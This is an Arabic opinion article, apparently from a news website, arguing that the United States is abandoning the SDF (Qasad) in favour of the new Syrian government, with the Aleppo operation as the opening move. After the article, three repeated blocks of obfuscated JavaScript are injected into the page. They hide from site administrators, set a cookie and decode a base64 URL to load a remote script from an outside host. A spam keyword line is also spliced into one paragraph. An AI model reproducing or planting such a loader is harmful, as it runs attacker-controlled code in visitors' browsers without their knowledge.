حلب أولى أحجار الدومينو القسدية

0

بعد فشل الغزو الأمريكي للعراق ووصول الرئيس أوباما إلى البيت الأبيد لتحقيق شعار سحب القوات الأمريكية من العراق، ولأن الولايات المتحدة لا تستطيع عدم التدخل العسكري في العالم لضمان أحاديتها القطبية وتأمين مصالحها، فإن القرار الأمريكي كان بطريقة أخرى للتدخل لا تشبه احتلال العراق، وهو ما تم تجسيده في ليبيا، حيث تم اعتماد ما عُرف لاحقاً بالقيادة من الخلف، حيث لعبت الولايات المتحدة دوراً حاسماً دون المزيد من التورط على الأرض.

بعد سحب القوات الأمريكية من العراق في عام 2011، لم تلبث أن ظهرت داعش في العراق وتمددت إلى سوريا. ولأن الولايات المتحدة في العقدين الأولين من القرن الحالي لا تزال تعيش تحت هول ضربات 11 أيلول 2001، وتعتمد إستراتيجية عليا متوافقاً عليها بين الدولة والشعب، وهي محاربة الإرهاب، عادت الولايات المتحدة مضطرة إلى التدخل في بلاد الهلال الخصيب. لكن بدل الاعتماد على جنودها، كانت قد تبلورت إستراتيجية أخرى، وهي الاعتماد على قوى محلية على الأرض وقيادتها من قبل الولايات المتحدة، ووضع جهود الجيش الأمريكي وثقله في تأمين هزيمة العدو بواسطة تلك القوات الأرضية لتجنب الخسائر البشرية في جنودها، وهو ما نجحت به، ويعتقد أنها ستستمر به.

كان على الأرض المتوفر والجاهز هو الحشد الشيعي العراقي، وفي سوريا ميليشيات حزب الاتحاد الديمقراطي، والتي تم هندستها لتسمى بقوات سوريا الديمقراطية.

بالتأكيد هي شراكة أمريكية مع قوى محلية لا تتوافق معها، حيث تعرف تماماً من هم شركاؤها في العراق، والذين يرتبطون ارتباطاً وثيقاً بالحرس الثوري الإيراني. أما الشركاء السوريون فكانوا هم الفرع السوري لحزب العمال التركي، والذي تصنفه الولايات المتحدة كمنظمة إرهابية، ويمكن أن نطلق عليه تحالف الضرورة المؤقت.

لم تنظر الولايات المتحدة إلى تنظيم قسد إلا باعتباره فصيلاً عسكرياً تتعاون معه لأمر محدد. وبالطبع استفاد التنظيم من التحالف مع واشنطن، بحيث أصبح يمسك الأرض بعد طرد داعش منها ويتولى إدارة المنطقة، وأمنت له مصدراً جيداً لتمويل نفسه باستحواذه على الثروات النفطية في الجزيرة السورية.

لم تعترف الولايات المتحدة بكل الهياكل التي أنشأها التنظيم في الجزيرة، كالإدارة الذاتية أو الجناح السياسي لقسد المعروف اختصاراً بمسد (مجلس سوريا الديمقراطية)، ولم تعترف أو تدعم كل الأنشطة الموازية من فرض مناهج أو كتابة عقد اجتماعي أو أي مشروع تحاول قسد فرضه كقوة أمر واقع.

لم تسع الولايات المتحدة أو لم تأبه لاستبعاد قسد عن المسار السياسي الأممي للحل في سوريا، حيث لم تتم دعوة ومشاركة قسد في أي مسار يحظى بشرعية دولية، مثل جولات جنيف التفاوضية أو اللجنة الدستورية أو سائر النشاطات التي تقوم بها المعارضة السورية. وكانت الولايات المتحدة لا تعترض على العلاقات القوية بين نظام الأسد وقسد، أو بين الروس وقسد. ولم تعترض الولايات المتحدة على ضم منصات للمعارضة السورية لا أهمية لها، مثل منصتي القاهرة وموسكو. وكانت واشنطن تدعم رسمياً الحل السوري وفق القرار الدولي 2254، وتعترف بالائتلاف الوطني المعارض كشريك شرعي في الحل السياسي، ولم تشر يوماً إلى قضية كردية أو حقوق كردية.

عندما حصل التغيير الكبير في سوريا لم تتوقعه الإدارة الأمريكية، وفي الوقت نفسه لم تعارضه، ورأت أنه حدث كبير في الشرق الأوسط لا بد من استثماره وتجييره ليتوائم مع مصالحها. وكان توجه القيادة السورية حتمياً سيكون باتجاه الغرب، لأن العدو الذي تم هزيمته في سوريا هو المحور الشرقي الذي كان نظام الأسد وكيله. وليس ذلك فحسب، بل إن المحور الداعم للأسد تورط مباشرة بالحرب ضد قوى الثورة. وكانت البوصلة السورية للدولة الجديدة معروفة الاتجاه، ولكن ما يلزم فقط هو الحذر الأمريكي الخفيف لمراقبة سلوك القيادة السورية وملاقاتها في منتصف الطريق.

كان التحول الأمريكي تجاه سوريا تاريخياً وسريعاً لدرجة كبيرة، حيث تم رفع كل العقوبات عن سوريا وقيادتها الجديدة، بل والتوقيع على دخول سوريا إلى التحالف الدولي الذي تقوده واشنطن للحرب على الإرهاب. وبذلك انتهت أي مصلحة أمريكية مستقبلية مع تنظيم قسد، وباتت كل المصالح الأمريكية مع الحكومة السورية فقط.

كان تنظيم قسد يبدو أنه سيشكل عبئاً على الأمريكيين، إذ إن الإستراتيجية الأمريكية المعلنة في المنطقة هي تفكيك الميليشيات كلها، ويجري العمل على ذلك. ولن تستقر علاقة واشنطن مع دمشق وأنقرة قبل رفع اليد عن تنظيم قسد.

قدم الأتراك والسوريون للولايات المتحدة فرصة لتعاون أمني معها ومع بقية دول المنطقة للحرب على داعش، ومنع عودة النفوذ الإيراني إليها، ووصول سوريا إلى اتفاقات أمنية مع إسرائيل. وبالتالي فقدت قسد أي دور حقيقي في دعم أمريكي مستقبلي لها. وكانت الخطة الأمريكية هي إجبار قسد على الانتحار ببطء عبر اتفاق 10 آذار مع الحكومة، والذي بجوهره يعني تفكيكها ودمج من تراه الحكومة السورية مناسباً في إداراتها، دون الاعتراف بأي من مطالب تنظيم قسد الكبرى.

حفاظاً على الإرث المعنوي لخدمة قسد للأجندة الأمريكية في المنطقة، وكان المطلوب منها حل نفسها بهدوء، وأعطيت فرصة تسعة أشهر لإتمام ذلك. لكن التنظيم كان يدرك ذلك، وأنه غير قادر وغير راغب في تفكيك نفسه تحت غطاء عملية سياسية. وكانت كل إستراتيجيته خلق المشاكل في وجه الحكومة لإثبات عجزها عن إدارة تنوع سوري، مما يمنحها فرصة للبقاء وكسب الوقت، عسى ولعل أن تقع الحكومة في أخطاء ويتغير المزاج أو المناخ الدولي المؤيد لها.

وتعلم واشنطن ودمشق وأنقرة مدى هشاشة البنية العسكرية لتلك الميليشيا، حيث إن البروباغاندا الإعلامية لا تبني واقعاً على الأرض، ولا يوجد أي مستقبل لقوة عسكرية لا تملك حاضنة شعبية، وفي نفس الوقت تحمل مشاريع عابرة لحدود الدولة الوطنية.

كان الخطاب الأمريكي لقسد واضحاً ومعلناً بأنه لن تكون سوريا إلا دولة موحدة ومركزية، ولن يكون لها إلا جيش واحد، وأن ازدهار سوريا واستقرارها يصب في رؤية الرئيس الأمريكي للمنطقة. وكان الجميع يتوقع انتهاء مدة تنفيذ الاتفاق دون الوصول إلى أي نتائج حقيقية على الأرض. dakita95 kirstentoosweet onlyfans leak

كانت العملية الأمنية في حلب إيذاناً بتحول المفاوضات إلى استعمال الأدوات الخشنة، وتعرية قوة قسد المزعومة، وقضم مناطق سيطرتها، ودفعها بمزيد من الضغط العسكري إلى تقليل مناطق سيطرتها، وبث الخلاف بين قادتها. فبالتأكيد يوجد من يرى أنه لا يمكن معاندة الريح الإقليمية والدولية، ومحاولة التموضع في مكان يحقق بعض المطالب، حيث إنه بنهج القيادة القنديلية الآن الداعي للحرب لا يمكن تحقيق أي مكسب.

تقود الولايات المتحدة عملية التآكل السياسي والعسكري والشعبي لتنظيم قسد من الخلف. والغاية الأمريكية والتركية أيضاً التلاقي مع دعوة أوجلان لإلقاء السلاح والتحول إلى النضال السياسي ضمن أطر كل دولة. والتجربة السابقة لحزب العمال في تركيا كانت معقولة سياسياً، حيث كان حزب الشعوب الديمقراطي (وهو الجناح السياسي لحزب العمال) يشارك في العملية السياسية، ويدخل البرلمان، ويتمكن من إدارة بلديات بالنجاح في الانتخابات البلدية.

هذا هو المطلوب من التنظيمات الكردية في سوريا: إلقاء السلاح والانخراط في مؤسسات الدولة، والمشاركة في العملية السياسية تحت سقف تلك المؤسسات، من مبدأ نيل حقوق لا امتيازات. وتقدم الدولة السورية خطاباً وطنياً في السير باتجاه دولة المواطنة، لا دولة المكونات.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني